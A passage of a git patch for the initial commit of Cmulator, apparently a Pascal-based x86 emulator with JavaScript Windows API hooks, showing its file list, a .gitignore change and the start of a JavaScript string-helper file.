From 027fc590c584d6ab0af5bf59cc638cbfeb50f8c1 Mon Sep 17 00:00:00 2001 From: Coldzer0 Date: Sat, 29 Sep 2018 04:06:49 +0200 Subject: [PATCH] init beta version init beta version - work of 3 moths :D --- .gitignore | 50 +- Build/API.js | 59 + Build/UserDB_TODO.TXT | 14085 ++++++++++++++++ Build/hooks/API.d.ts | 4 + Build/hooks/ApiHook.d.ts | 99 + Build/hooks/advapi32.js | 490 + Build/hooks/c_runtime.js | 25 + Build/hooks/const.js | 279 + Build/hooks/kernek32_strings.js | 271 + Build/hooks/kernel32.js | 2157 +++ Build/hooks/kernel32_files.js | 96 + Build/hooks/kernel32_processes.js | 42 + Build/hooks/kernel32_self.js | 101 + Build/hooks/kernel32_threads.js | 682 + Build/hooks/kernelbase.js | 16 + Build/hooks/lpk.js | 32 + Build/hooks/msvcrt.js | 717 + Build/hooks/ntdll.js | 188 + Build/hooks/ole32.js | 34 + Build/hooks/urlmon.js | 46 + Build/hooks/user32.js | 254 + Build/hooks/uxtheme.js | 24 + Build/hooks/winhttp.js | 123 + Build/hooks/ws2_32.js | 124 + Build/hooks/wtsapi32.js | 67 + Build/libraries/linux/libcapstone.a | Bin 0 -> 1769030 bytes Build/libraries/linux/libunicorn.so | Bin 0 -> 2517432 bytes Build/libraries/osx/libcapstone.a | Bin 0 -> 1605392 bytes Build/libraries/osx/libunicorn.dylib | Bin 0 -> 1367628 bytes Build/libraries/win32/capstone32.dll | Bin 0 -> 1537536 bytes Build/libraries/win32/unicorn32.dll | Bin 0 -> 659968 bytes Build/libraries/win64/capstone64.dll | Bin 0 -> 1580544 bytes Build/libraries/win64/unicorn64.dll | Bin 0 -> 758784 bytes Cmulator.lpi | 334 + Cmulator.lps | 500 + Cmulator.pas | 216 + Core/Capstone/.gitignore | 29 + Core/Capstone/Capstone.pas | 194 + Core/Capstone/CapstoneApi.pas | 500 + Core/Capstone/CapstoneArm.pas | 870 + Core/Capstone/CapstoneArm64.pas | 1143 ++ Core/Capstone/CapstoneCmn.pas | 37 + Core/Capstone/CapstoneMips.pas | 890 + Core/Capstone/CapstonePpc.pas | 1236 ++ Core/Capstone/CapstoneSparc.pas | 507 + Core/Capstone/CapstoneSystemZ.pas | 821 + Core/Capstone/CapstoneX86.pas | 1591 ++ Core/Capstone/CapstoneXCore.pas | 226 + Core/Capstone/LICENSE | 26 + Core/Capstone/README.md | 61 + Core/Crypto/xxhash.pas | 534 + Core/GUI/gui.pas | 120 + Core/JS/BESEN.inc | 305 + Core/JS/BESEN.pas | 1866 ++ Core/JS/BESENASTNodes.pas | 2191 +++ Core/JS/BESENArrayUtils.pas | 123 + Core/JS/BESENBaseObject.pas | 59 + Core/JS/BESENCharset.pas | 421 + Core/JS/BESENCode.pas | 699 + Core/JS/BESENCodeContext.pas | 4013 +++++ Core/JS/BESENCodeGeneratorContext.pas | 531 + Core/JS/BESENCodeJIT.pas | 89 + Core/JS/BESENCodeJITx64.pas | 2229 +++ Core/JS/BESENCodeJITx86.pas | 2552 +++ Core/JS/BESENCodeSnapshot.pas | 1387 ++ Core/JS/BESENCollector.pas | 73 + Core/JS/BESENCollectorObject.pas | 80 + Core/JS/BESENCompiler.pas | 6597 ++++++++ Core/JS/BESENConstants.pas | 103 + Core/JS/BESENContext.pas | 452 + Core/JS/BESENDateUtils.pas | 1368 ++ Core/JS/BESENDeclarativeEnvironmentRecord.pas | 612 + Core/JS/BESENDecompiler.pas | 1017 ++ Core/JS/BESENDoubleList.pas | 229 + Core/JS/BESENEnvironmentRecord.pas | 201 + Core/JS/BESENErrors.pas | 630 + Core/JS/BESENEvalCache.pas | 142 + Core/JS/BESENEvalCacheItem.pas | 85 + Core/JS/BESENGarbageCollector.pas | 991 ++ Core/JS/BESENGlobals.pas | 42 + Core/JS/BESENHashMap.pas | 308 + Core/JS/BESENHashUtils.pas | 59 + Core/JS/BESENInt64SelfBalancedTree.pas | 632 + Core/JS/BESENIntegerList.pas | 230 + Core/JS/BESENKeyIDManager.pas | 120 + Core/JS/BESENLexer.pas | 1416 ++ Core/JS/BESENLexicalEnvironment.pas | 80 + Core/JS/BESENLocale.pas | 225 + Core/JS/BESENNativeCodeMemoryManager.pas | 335 + Core/JS/BESENNativeObject.pas | 612 + Core/JS/BESENNumberUtils.pas | 4419 +++++ Core/JS/BESENObject.pas | 2513 +++ Core/JS/BESENObjectArgGetterFunction.pas | 94 + Core/JS/BESENObjectArgSetterFunction.pas | 99 + Core/JS/BESENObjectArray.pas | 362 + Core/JS/BESENObjectArrayConstructor.pas | 123 + Core/JS/BESENObjectArrayPrototype.pas | 1330 ++ Core/JS/BESENObjectBindingFunction.pas | 191 + Core/JS/BESENObjectBoolean.pas | 74 + Core/JS/BESENObjectBooleanConstructor.pas | 103 + Core/JS/BESENObjectBooleanPrototype.pas | 101 + Core/JS/BESENObjectConsole.pas | 191 + Core/JS/BESENObjectConstructor.pas | 457 + Core/JS/BESENObjectDate.pas | 95 + Core/JS/BESENObjectDateConstructor.pas | 231 + Core/JS/BESENObjectDatePrototype.pas | 1082 ++ Core/JS/BESENObjectDeclaredFunction.pas | 235 + Core/JS/BESENObjectEnvironmentRecord.pas | 168 + Core/JS/BESENObjectError.pas | 74 + Core/JS/BESENObjectErrorConstructor.pas | 108 + Core/JS/BESENObjectErrorPrototype.pas | 99 + Core/JS/BESENObjectFunction.pas | 122 + Core/JS/BESENObjectFunctionArguments.pas | 230 + Core/JS/BESENObjectFunctionConstructor.pas | 124 + Core/JS/BESENObjectFunctionPrototype.pas | 237 + Core/JS/BESENObjectGlobal.pas | 516 + Core/JS/BESENObjectJSON.pas | 439 + Core/JS/BESENObjectMath.pas | 524 + Core/JS/BESENObjectNativeFunction.pas | 102 + Core/JS/BESENObjectNumber.pas | 75 + Core/JS/BESENObjectNumberConstructor.pas | 130 + Core/JS/BESENObjectNumberPrototype.pas | 281 + Core/JS/BESENObjectPropertyDescriptor.pas | 146 + Core/JS/BESENObjectPrototype.pas | 223 + Core/JS/BESENObjectRegExp.pas | 199 + Core/JS/BESENObjectRegExpConstructor.pas | 188 + Core/JS/BESENObjectRegExpPrototype.pas | 228 + Core/JS/BESENObjectString.pas | 133 + Core/JS/BESENObjectStringConstructor.pas | 119 + Core/JS/BESENObjectStringPrototype.pas | 1108 ++ Core/JS/BESENObjectThrowTypeErrorFunction.pas | 74 + Core/JS/BESENOpcodes.pas | 365 + Core/JS/BESENParser.pas | 2698 +++ Core/JS/BESENPointerList.pas | 230 + Core/JS/BESENPointerSelfBalancedTree.pas | 630 + Core/JS/BESENRandomGenerator.pas | 274 + Core/JS/BESENRegExp.pas | 2550 +++ Core/JS/BESENRegExpCache.pas | 152 + Core/JS/BESENScope.pas | 83 + Core/JS/BESENSelfBalancedTree.pas | 678 + Core/JS/BESENStringList.pas | 231 + Core/JS/BESENStringTree.pas | 356 + Core/JS/BESENStringUtils.pas | 2618 +++ Core/JS/BESENTypes.pas | 200 + Core/JS/BESENUnicodeTables.pas | 1274 ++ Core/JS/BESENUtils.pas | 76 + Core/JS/BESENValue.pas | 705 + Core/JS/BESENValueContainer.pas | 77 + Core/JS/BESENVersionConstants.pas | 42 + Core/JSON/.gitignore | 2 + Core/JSON/superobject.pas | 6517 +++++++ Core/JSON/supertypes.pas | 38 + Core/JSON/superxmlparser.pas | 1474 ++ Core/PE/.gitignore | 2 + Core/PE/NullStream.pas | 64 + Core/PE/PE.Build.Common.pas | 64 + Core/PE/PE.Build.Export.pas | 220 + Core/PE/PE.Build.Import.pas | 251 + Core/PE/PE.Build.Relocs.pas | 92 + Core/PE/PE.Build.Resource.pas | 265 + Core/PE/PE.Build.pas | 165 + Core/PE/PE.COFF.Types.pas | 66 + Core/PE/PE.COFF.pas | 103 + Core/PE/PE.Common.pas | 675 + Core/PE/PE.DataDirectories.pas | 356 + Core/PE/PE.ExecutableLoader.pas | 530 + Core/PE/PE.ExportSym.pas | 203 + Core/PE/PE.FileHeaderToStr.pas | 66 + Core/PE/PE.Headers.pas | 278 + Core/PE/PE.ID.pas | 223 + Core/PE/PE.Image.Defaults.pas | 108 + Core/PE/PE.Image.Saving.pas | 245 + Core/PE/PE.Image.pas | 1876 ++ Core/PE/PE.Image.x86.pas | 223 + Core/PE/PE.Imports.Func.pas | 46 + Core/PE/PE.Imports.Lib.pas | 95 + Core/PE/PE.Imports.pas | 63 + Core/PE/PE.MemoryStreamxxx.pas | 205 + Core/PE/PE.Msg.pas | 57 + Core/PE/PE.Parser.Export.pas | 181 + Core/PE/PE.Parser.Headers.pas | 31 + Core/PE/PE.Parser.Import.pas | 234 + Core/PE/PE.Parser.ImportDelayed.pas | 212 + Core/PE/PE.Parser.PData.pas | 228 + Core/PE/PE.Parser.Relocs.pas | 106 + Core/PE/PE.Parser.Resources.pas | 228 + Core/PE/PE.Parser.TLS.pas | 115 + Core/PE/PE.ParserCallbacks.pas | 16 + Core/PE/PE.ProcessModuleStreamxxx.pas | 126 + Core/PE/PE.RTTI.pas | 107 + Core/PE/PE.Resources.Extract.pas | 85 + Core/PE/PE.Resources.VersionInfo.pas | 324 + Core/PE/PE.Resources.Windows.Bitmap.pas | 65 + Core/PE/PE.Resources.Windows.Strings.pas | 113 + Core/PE/PE.Resources.Windows.pas | 307 + Core/PE/PE.Resources.pas | 465 + Core/PE/PE.Search.pas | 257 + Core/PE/PE.Section.pas | 308 + Core/PE/PE.Sections.pas | 278 + Core/PE/PE.TLS.pas | 38 + Core/PE/PE.Types.DOSHeader.pas | 63 + Core/PE/PE.Types.Directories.pas | 103 + Core/PE/PE.Types.Export.pas | 33 + Core/PE/PE.Types.FileHeader.pas | 97 + Core/PE/PE.Types.Imports.pas | 148 + Core/PE/PE.Types.ImportsDelayed.pas | 78 + Core/PE/PE.Types.NTHeaders.pas | 57 + Core/PE/PE.Types.OptionalHeader.pas | 152 + Core/PE/PE.Types.Relocations.inc | 190 + Core/PE/PE.Types.Relocations.pas | 210 + Core/PE/PE.Types.Resources.pas | 175 + Core/PE/PE.Types.Sections.inc | 55 + Core/PE/PE.Types.Sections.pas | 88 + Core/PE/PE.Types.TLS.pas | 39 + Core/PE/PE.Types.pas | 29 + Core/PE/PE.Utils.pas | 287 + Core/PE/README.md | 28 + Core/PE/VerRsrc.inc | 154 + Core/PE/WinHelper.pas | 446 + Core/PE/gmap.pas | 398 + Core/PE/grbtree.pas | 844 + Core/besenunits.inc | 93 + Core/emu.pas | 1124 ++ Core/fnhook.pas | 134 + Core/generics_collections/.gitignore | 7 + Core/generics_collections/Makefile | 2486 +++ Core/generics_collections/Makefile.fpc | 102 + Core/generics_collections/README.md | 9 + Core/generics_collections/fpmake.pp | 78 + .../src/generics.collections.pas | 4139 +++++ .../src/generics.defaults.pas | 3356 ++++ .../src/generics.hashes.pas | 1617 ++ .../src/generics.helpers.pas | 146 + .../src/generics.memoryexpanders.pas | 227 + .../src/generics.strings.pas | 37 + .../src/inc/generics.dictionaries.inc | 2269 +++ .../src/inc/generics.dictionariesh.inc | 655 + Core/globals.pas | 44 + Core/interactive.pas | 14 + Core/jsemuobj.pas | 755 + Core/jsplugins_bengine.pas | 392 + Core/memmanager.pas | 22 + Core/nativehooks.pas | 77 + Core/pe_loader.pas | 829 + Core/pesp/.gitignore | 31 + Core/pesp/LICENSE | 27 + Core/pesp/PseCmn.pas | 58 + Core/pesp/PseDebugInfo.pas | 111 + Core/pesp/PseElf.pas | 380 + Core/pesp/PseElfFile.pas | 403 + Core/pesp/PseElfLoader.pas | 55 + Core/pesp/PseExportTable.pas | 83 + Core/pesp/PseFile.pas | 249 + Core/pesp/PseImgLoader.pas | 61 + Core/pesp/PseImportTable.pas | 177 + Core/pesp/PseLibFile.pas | 37 + Core/pesp/PseMapFileReader.pas | 172 + Core/pesp/PseMz.pas | 91 + Core/pesp/PseMzFile.pas | 139 + Core/pesp/PseNe.pas | 163 + Core/pesp/PseNeFile.pas | 312 + Core/pesp/PseObjFile.pas | 31 + Core/pesp/PsePe.pas | 699 + Core/pesp/PsePeFile.pas | 797 + Core/pesp/PsePeLoader.pas | 55 + Core/pesp/PseRawFile.pas | 88 + Core/pesp/PseResource.pas | 177 + Core/pesp/PseSection.pas | 129 + Core/pesp/PseVirtMem.pas | 262 + Core/pesp/README.md | 138 + Core/pesp/pse.dpr | 196 + Core/pesp/pse.dproj | 160 + Core/pesp/pse.lpi | 316 + Core/pesp/pse.res | Bin 0 -> 96 bytes Core/process/ethreads.pas | 484 + Core/segments.pas | 266 + Core/struct.inc | 1 + Core/struct.pas | 797 + Core/tep_peb.pas | 941 ++ Core/unicorn/Arm64Const.pas | 288 + Core/unicorn/ArmConst.pas | 136 + Core/unicorn/GenerateConsts.py | 196 + Core/unicorn/M68kConst.pas | 32 + Core/unicorn/MipsConst.pas | 203 + Core/unicorn/SparcConst.pas | 104 + Core/unicorn/UnicornConst.pas | 111 + Core/unicorn/Unicorn_dyn.pas | 695 + Core/unicorn/X86Const.pas | 1604 ++ Core/unicorn/examples/x86.lpi | 108 + Core/unicorn/include/unicorn/arm.h | 153 + Core/unicorn/include/unicorn/arm64.h | 307 + Core/unicorn/include/unicorn/m68k.h | 50 + Core/unicorn/include/unicorn/mips.h | 229 + Core/unicorn/include/unicorn/platform.h | 219 + Core/unicorn/include/unicorn/sparc.h | 130 + Core/unicorn/include/unicorn/unicorn.h | 730 + Core/unicorn/include/unicorn/x86.h | 1444 ++ Core/utils.pas | 426 + README.md | 621 +- 299 files changed, 150110 insertions(+), 34 deletions(-) create mode 100644 Build/API.js create mode 100755 Build/UserDB_TODO.TXT create mode 100644 Build/hooks/API.d.ts create mode 100644 Build/hooks/ApiHook.d.ts create mode 100644 Build/hooks/advapi32.js create mode 100644 Build/hooks/c_runtime.js create mode 100644 Build/hooks/const.js create mode 100644 Build/hooks/kernek32_strings.js create mode 100644 Build/hooks/kernel32.js create mode 100644 Build/hooks/kernel32_files.js create mode 100644 Build/hooks/kernel32_processes.js create mode 100644 Build/hooks/kernel32_self.js create mode 100644 Build/hooks/kernel32_threads.js create mode 100644 Build/hooks/kernelbase.js create mode 100644 Build/hooks/lpk.js create mode 100644 Build/hooks/msvcrt.js create mode 100644 Build/hooks/ntdll.js create mode 100644 Build/hooks/ole32.js create mode 100644 Build/hooks/urlmon.js create mode 100644 Build/hooks/user32.js create mode 100644 Build/hooks/uxtheme.js create mode 100644 Build/hooks/winhttp.js create mode 100644 Build/hooks/ws2_32.js create mode 100644 Build/hooks/wtsapi32.js create mode 100644 Build/libraries/linux/libcapstone.a create mode 100755 Build/libraries/linux/libunicorn.so create mode 100644 Build/libraries/osx/libcapstone.a create mode 100755 Build/libraries/osx/libunicorn.dylib create mode 100644 Build/libraries/win32/capstone32.dll create mode 100644 Build/libraries/win32/unicorn32.dll create mode 100644 Build/libraries/win64/capstone64.dll create mode 100644 Build/libraries/win64/unicorn64.dll create mode 100644 Cmulator.lpi create mode 100644 Cmulator.lps create mode 100644 Cmulator.pas create mode 100755 Core/Capstone/.gitignore create mode 100755 Core/Capstone/Capstone.pas create mode 100755 Core/Capstone/CapstoneApi.pas create mode 100755 Core/Capstone/CapstoneArm.pas create mode 100755 Core/Capstone/CapstoneArm64.pas create mode 100755 Core/Capstone/CapstoneCmn.pas create mode 100755 Core/Capstone/CapstoneMips.pas create mode 100755 Core/Capstone/CapstonePpc.pas create mode 100755 Core/Capstone/CapstoneSparc.pas create mode 100755 Core/Capstone/CapstoneSystemZ.pas create mode 100755 Core/Capstone/CapstoneX86.pas create mode 100755 Core/Capstone/CapstoneXCore.pas create mode 100755 Core/Capstone/LICENSE create mode 100755 Core/Capstone/README.md create mode 100644 Core/Crypto/xxhash.pas create mode 100644 Core/GUI/gui.pas create mode 100644 Core/JS/BESEN.inc create mode 100644 Core/JS/BESEN.pas create mode 100644 Core/JS/BESENASTNodes.pas create mode 100644 Core/JS/BESENArrayUtils.pas create mode 100644 Core/JS/BESENBaseObject.pas create mode 100644 Core/JS/BESENCharset.pas create mode 100644 Core/JS/BESENCode.pas create mode 100644 Core/JS/BESENCodeContext.pas create mode 100644 Core/JS/BESENCodeGeneratorContext.pas create mode 100644 Core/JS/BESENCodeJIT.pas create mode 100644 Core/JS/BESENCodeJITx64.pas create mode 100644 Core/JS/BESENCodeJITx86.pas create mode 100644 Core/JS/BESENCodeSnapshot.pas create mode 100644 Core/JS/BESENCollector.pas create mode 100644 Core/JS/BESENCollectorObject.pas create mode 100644 Core/JS/BESENCompiler.pas create mode 100644 Core/JS/BESENConstants.pas create mode 100644 Core/JS/BESENContext.pas create mode 100644 Core/JS/BESENDateUtils.pas create mode 100644 Core/JS/BESENDeclarativeEnvironmentRecord.pas create mode 100644 Core/JS/BESENDecompiler.pas create mode 100644 Core/JS/BESENDoubleList.pas create mode 100644 Core/JS/BESENEnvironmentRecord.pas create mode 100644 Core/JS/BESENErrors.pas create mode 100644 Core/JS/BESENEvalCache.pas create mode 100644 Core/JS/BESENEvalCacheItem.pas create mode 100644 Core/JS/BESENGarbageCollector.pas create mode 100644 Core/JS/BESENGlobals.pas create mode 100644 Core/JS/BESENHashMap.pas create mode 100644 Core/JS/BESENHashUtils.pas create mode 100644 Core/JS/BESENInt64SelfBalancedTree.pas create mode 100644 Core/JS/BESENIntegerList.pas create mode 100644 Core/JS/BESENKeyIDManager.pas create mode 100644 Core/JS/BESENLexer.pas create mode 100644 Core/JS/BESENLexicalEnvironment.pas create mode 100644 Core/JS/BESENLocale.pas create mode 100644 Core/JS/BESENNativeCodeMemoryManager.pas create mode 100644 Core/JS/BESENNativeObject.pas create mode 100644 Core/JS/BESENNumberUtils.pas create mode 100644 Core/JS/BESENObject.pas create mode 100644 Core/JS/BESENObjectArgGetterFunction.pas create mode 100644 Core/JS/BESENObjectArgSetterFunction.pas create mode 100644 Core/JS/BESENObjectArray.pas create mode 100644 Core/JS/BESENObjectArrayConstructor.pas create mode 100644 Core/JS/BESENObjectArrayPrototype.pas create mode 100644 Core/JS/BESENObjectBindingFunction.pas create mode 100644 Core/JS/BESENObjectBoolean.pas create mode 100644 Core/JS/BESENObjectBooleanConstructor.pas create mode 100644 Core/JS/BESENObjectBooleanPrototype.pas create mode 100644 Core/JS/BESENObjectConsole.pas create mode 100644 Core/JS/BESENObjectConstructor.pas create mode 100644 Core/JS/BESENObjectDate.pas create mode 100644 Core/JS/BESENObjectDateConstructor.pas create mode 100644 Core/JS/BESENObjectDatePrototype.pas create mode 100644 Core/JS/BESENObjectDeclaredFunction.pas create mode 100644 Core/JS/BESENObjectEnvironmentRecord.pas create mode 100644 Core/JS/BESENObjectError.pas create mode 100644 Core/JS/BESENObjectErrorConstructor.pas create mode 100644 Core/JS/BESENObjectErrorPrototype.pas create mode 100644 Core/JS/BESENObjectFunction.pas create mode 100644 Core/JS/BESENObjectFunctionArguments.pas create mode 100644 Core/JS/BESENObjectFunctionConstructor.pas create mode 100644 Core/JS/BESENObjectFunctionPrototype.pas create mode 100644 Core/JS/BESENObjectGlobal.pas create mode 100644 Core/JS/BESENObjectJSON.pas create mode 100644 Core/JS/BESENObjectMath.pas create mode 100644 Core/JS/BESENObjectNativeFunction.pas create mode 100644 Core/JS/BESENObjectNumber.pas create mode 100644 Core/JS/BESENObjectNumberConstructor.pas create mode 100644 Core/JS/BESENObjectNumberPrototype.pas create mode 100644 Core/JS/BESENObjectPropertyDescriptor.pas create mode 100644 Core/JS/BESENObjectPrototype.pas create mode 100644 Core/JS/BESENObjectRegExp.pas create mode 100644 Core/JS/BESENObjectRegExpConstructor.pas create mode 100644 Core/JS/BESENObjectRegExpPrototype.pas create mode 100644 Core/JS/BESENObjectString.pas create mode 100644 Core/JS/BESENObjectStringConstructor.pas create mode 100644 Core/JS/BESENObjectStringPrototype.pas create mode 100644 Core/JS/BESENObjectThrowTypeErrorFunction.pas create mode 100644 Core/JS/BESENOpcodes.pas create mode 100644 Core/JS/BESENParser.pas create mode 100644 Core/JS/BESENPointerList.pas create mode 100644 Core/JS/BESENPointerSelfBalancedTree.pas create mode 100644 Core/JS/BESENRandomGenerator.pas create mode 100644 Core/JS/BESENRegExp.pas create mode 100644 Core/JS/BESENRegExpCache.pas create mode 100644 Core/JS/BESENScope.pas create mode 100644 Core/JS/BESENSelfBalancedTree.pas create mode 100644 Core/JS/BESENStringList.pas create mode 100644 Core/JS/BESENStringTree.pas create mode 100644 Core/JS/BESENStringUtils.pas create mode 100644 Core/JS/BESENTypes.pas create mode 100644 Core/JS/BESENUnicodeTables.pas create mode 100644 Core/JS/BESENUtils.pas create mode 100644 Core/JS/BESENValue.pas create mode 100644 Core/JS/BESENValueContainer.pas create mode 100644 Core/JS/BESENVersionConstants.pas create mode 100755 Core/JSON/.gitignore create mode 100755 Core/JSON/superobject.pas create mode 100755 Core/JSON/supertypes.pas create mode 100755 Core/JSON/superxmlparser.pas create mode 100755 Core/PE/.gitignore create mode 100755 Core/PE/NullStream.pas create mode 100755 Core/PE/PE.Build.Common.pas create mode 100755 Core/PE/PE.Build.Export.pas create mode 100755 Core/PE/PE.Build.Import.pas create mode 100755 Core/PE/PE.Build.Relocs.pas create mode 100755 Core/PE/PE.Build.Resource.pas create mode 100755 Core/PE/PE.Build.pas create mode 100755 Core/PE/PE.COFF.Types.pas create mode 100755 Core/PE/PE.COFF.pas create mode 100755 Core/PE/PE.Common.pas create mode 100755 Core/PE/PE.DataDirectories.pas create mode 100755 Core/PE/PE.ExecutableLoader.pas create mode 100755 Core/PE/PE.ExportSym.pas create mode 100755 Core/PE/PE.FileHeaderToStr.pas create mode 100755 Core/PE/PE.Headers.pas create mode 100755 Core/PE/PE.ID.pas create mode 100755 Core/PE/PE.Image.Defaults.pas create mode 100755 Core/PE/PE.Image.Saving.pas create mode 100755 Core/PE/PE.Image.pas create mode 100755 Core/PE/PE.Image.x86.pas create mode 100755 Core/PE/PE.Imports.Func.pas create mode 100755 Core/PE/PE.Imports.Lib.pas create mode 100755 Core/PE/PE.Imports.pas create mode 100755 Core/PE/PE.MemoryStreamxxx.pas create mode 100755 Core/PE/PE.Msg.pas create mode 100755 Core/PE/PE.Parser.Export.pas create mode 100755 Core/PE/PE.Parser.Headers.pas create mode 100755 Core/PE/PE.Parser.Import.pas create mode 100755 Core/PE/PE.Parser.ImportDelayed.pas create mode 100755 Core/PE/PE.Parser.PData.pas create mode 100755 Core/PE/PE.Parser.Relocs.pas create mode 100755 Core/PE/PE.Parser.Resources.pas create mode 100755 Core/PE/PE.Parser.TLS.pas create mode 100755 Core/PE/PE.ParserCallbacks.pas create mode 100755 Core/PE/PE.ProcessModuleStreamxxx.pas create mode 100755 Core/PE/PE.RTTI.pas create mode 100755 Core/PE/PE.Resources.Extract.pas create mode 100755 Core/PE/PE.Resources.VersionInfo.pas create mode 100755 Core/PE/PE.Resources.Windows.Bitmap.pas create mode 100755 Core/PE/PE.Resources.Windows.Strings.pas create mode 100755 Core/PE/PE.Resources.Windows.pas create mode 100755 Core/PE/PE.Resources.pas create mode 100755 Core/PE/PE.Search.pas create mode 100755 Core/PE/PE.Section.pas create mode 100755 Core/PE/PE.Sections.pas create mode 100755 Core/PE/PE.TLS.pas create mode 100755 Core/PE/PE.Types.DOSHeader.pas create mode 100755 Core/PE/PE.Types.Directories.pas create mode 100755 Core/PE/PE.Types.Export.pas create mode 100755 Core/PE/PE.Types.FileHeader.pas create mode 100755 Core/PE/PE.Types.Imports.pas create mode 100755 Core/PE/PE.Types.ImportsDelayed.pas create mode 100755 Core/PE/PE.Types.NTHeaders.pas create mode 100755 Core/PE/PE.Types.OptionalHeader.pas create mode 100755 Core/PE/PE.Types.Relocations.inc create mode 100755 Core/PE/PE.Types.Relocations.pas create mode 100755 Core/PE/PE.Types.Resources.pas create mode 100755 Core/PE/PE.Types.Sections.inc create mode 100755 Core/PE/PE.Types.Sections.pas create mode 100755 Core/PE/PE.Types.TLS.pas create mode 100755 Core/PE/PE.Types.pas create mode 100755 Core/PE/PE.Utils.pas create mode 100755 Core/PE/README.md create mode 100755 Core/PE/VerRsrc.inc create mode 100755 Core/PE/WinHelper.pas create mode 100755 Core/PE/gmap.pas create mode 100755 Core/PE/grbtree.pas create mode 100644 Core/besenunits.inc create mode 100644 Core/emu.pas create mode 100644 Core/fnhook.pas create mode 100755 Core/generics_collections/.gitignore create mode 100755 Core/generics_collections/Makefile create mode 100755 Core/generics_collections/Makefile.fpc create mode 100755 Core/generics_collections/README.md create mode 100755 Core/generics_collections/fpmake.pp create mode 100755 Core/generics_collections/src/generics.collections.pas create mode 100755 Core/generics_collections/src/generics.defaults.pas create mode 100755 Core/generics_collections/src/generics.hashes.pas create mode 100755 Core/generics_collections/src/generics.helpers.pas create mode 100755 Core/generics_collections/src/generics.memoryexpanders.pas create mode 100755 Core/generics_collections/src/generics.strings.pas create mode 100755 Core/generics_collections/src/inc/generics.dictionaries.inc create mode 100755 Core/generics_collections/src/inc/generics.dictionariesh.inc create mode 100644 Core/globals.pas create mode 100644 Core/interactive.pas create mode 100644 Core/jsemuobj.pas create mode 100644 Core/jsplugins_bengine.pas create mode 100644 Core/memmanager.pas create mode 100644 Core/nativehooks.pas create mode 100644 Core/pe_loader.pas create mode 100644 Core/pesp/.gitignore create mode 100644 Core/pesp/LICENSE create mode 100644 Core/pesp/PseCmn.pas create mode 100644 Core/pesp/PseDebugInfo.pas create mode 100644 Core/pesp/PseElf.pas create mode 100644 Core/pesp/PseElfFile.pas create mode 100644 Core/pesp/PseElfLoader.pas create mode 100644 Core/pesp/PseExportTable.pas create mode 100644 Core/pesp/PseFile.pas create mode 100644 Core/pesp/PseImgLoader.pas create mode 100644 Core/pesp/PseImportTable.pas create mode 100644 Core/pesp/PseLibFile.pas create mode 100644 Core/pesp/PseMapFileReader.pas create mode 100644 Core/pesp/PseMz.pas create mode 100644 Core/pesp/PseMzFile.pas create mode 100644 Core/pesp/PseNe.pas create mode 100644 Core/pesp/PseNeFile.pas create mode 100644 Core/pesp/PseObjFile.pas create mode 100644 Core/pesp/PsePe.pas create mode 100644 Core/pesp/PsePeFile.pas create mode 100644 Core/pesp/PsePeLoader.pas create mode 100644 Core/pesp/PseRawFile.pas create mode 100644 Core/pesp/PseResource.pas create mode 100644 Core/pesp/PseSection.pas create mode 100644 Core/pesp/PseVirtMem.pas create mode 100644 Core/pesp/README.md create mode 100644 Core/pesp/pse.dpr create mode 100644 Core/pesp/pse.dproj create mode 100644 Core/pesp/pse.lpi create mode 100644 Core/pesp/pse.res create mode 100644 Core/process/ethreads.pas create mode 100644 Core/segments.pas create mode 100644 Core/struct.inc create mode 100644 Core/struct.pas create mode 100644 Core/tep_peb.pas create mode 100644 Core/unicorn/Arm64Const.pas create mode 100644 Core/unicorn/ArmConst.pas create mode 100644 Core/unicorn/GenerateConsts.py create mode 100644 Core/unicorn/M68kConst.pas create mode 100644 Core/unicorn/MipsConst.pas create mode 100644 Core/unicorn/SparcConst.pas create mode 100644 Core/unicorn/UnicornConst.pas create mode 100755 Core/unicorn/Unicorn_dyn.pas create mode 100644 Core/unicorn/X86Const.pas create mode 100644 Core/unicorn/examples/x86.lpi create mode 100755 Core/unicorn/include/unicorn/arm.h create mode 100755 Core/unicorn/include/unicorn/arm64.h create mode 100755 Core/unicorn/include/unicorn/m68k.h create mode 100755 Core/unicorn/include/unicorn/mips.h create mode 100755 Core/unicorn/include/unicorn/platform.h create mode 100755 Core/unicorn/include/unicorn/sparc.h create mode 100755 Core/unicorn/include/unicorn/unicorn.h create mode 100755 Core/unicorn/include/unicorn/x86.h create mode 100644 Core/utils.pas diff --git a/.gitignore b/.gitignore index 19864c6..e8e3c09 100644 --- a/.gitignore +++ b/.gitignore @@ -1,38 +1,11 @@ -# Uncomment these types if you want even more clean repository. But be careful. -# It can make harm to an existing project source. Read explanations below. -# -# Resource files are binaries containing manifest, project icon and version info. -# They can not be viewed as text or compared by diff-tools. Consider replacing them with .rc files. -#*.res -# -# Type library file (binary). In old Delphi versions it should be stored. -# Since Delphi 2009 it is produced from .ridl file and can safely be ignored. -#*.tlb -# -# Diagram Portfolio file. Used by the diagram editor up to Delphi 7. -# Uncomment this if you are not using diagrams or use newer Delphi version. -#*.ddp -# -# Visual LiveBindings file. Added in Delphi XE2. -# Uncomment this if you are not using LiveBindings Designer. -#*.vlb -# -# Deployment Manager configuration file for your project. Added in Delphi XE2. -# Uncomment this if it is not mobile development and you do not use remote debug feature. -#*.deployproj -# -# C++ object files produced when C/C++ Output file generation is configured. -# Uncomment this if you are not using external objects (zlib library for example). -#*.obj -# + + +*.dSYM # Delphi compiler-generated binaries (safe to delete) -*.exe -*.dll *.bpl *.bpi *.dcp -*.so *.apk *.drc *.map @@ -41,9 +14,9 @@ *.tds *.dcu *.lib -*.a *.o *.ocx +*.zip # Delphi autogenerated files (duplicated info) *.cfg @@ -57,10 +30,23 @@ *.tvsconfig *.dsk -# Delphi history and backups +# Delphi history , Build and backups +lib +backup __history/ __recovery/ *.~* # Castalia statistics file (since XE7 Castalia is distributed with Delphi) *.stat +*.bak + +# unwanted folders :D +unicorn-engine-pascal +CTF +samples +GDT +win_dlls +Build/OSX +Build/linux +Build/win diff --git a/Build/API.js b/Build/API.js new file mode 100644 index 0000000..c4b659f --- /dev/null +++ b/Build/API.js @@ -0,0 +1,59 @@ +// this's a global format function +String.prototype.format = function () { + "use strict"; + var str = this.toString(); + if (arguments.length) { + var t = typeof arguments[0]; + var key; + var args = ("string" === t || "number" === t) ? + Array.prototype.slice.call(arguments) : + arguments[0]; + + for (key in args) { + str = str.replace(new RegExp("\\{" + key + "\\}", "gi"), args[key]); + } + } + + return str; +}; + +String.prototype.contains = function (segment, ignoreCase) { + + if (ignoreCase) { + return this.toLowerCase().indexOf(segment.toLowerCase()) !== -1; + } + 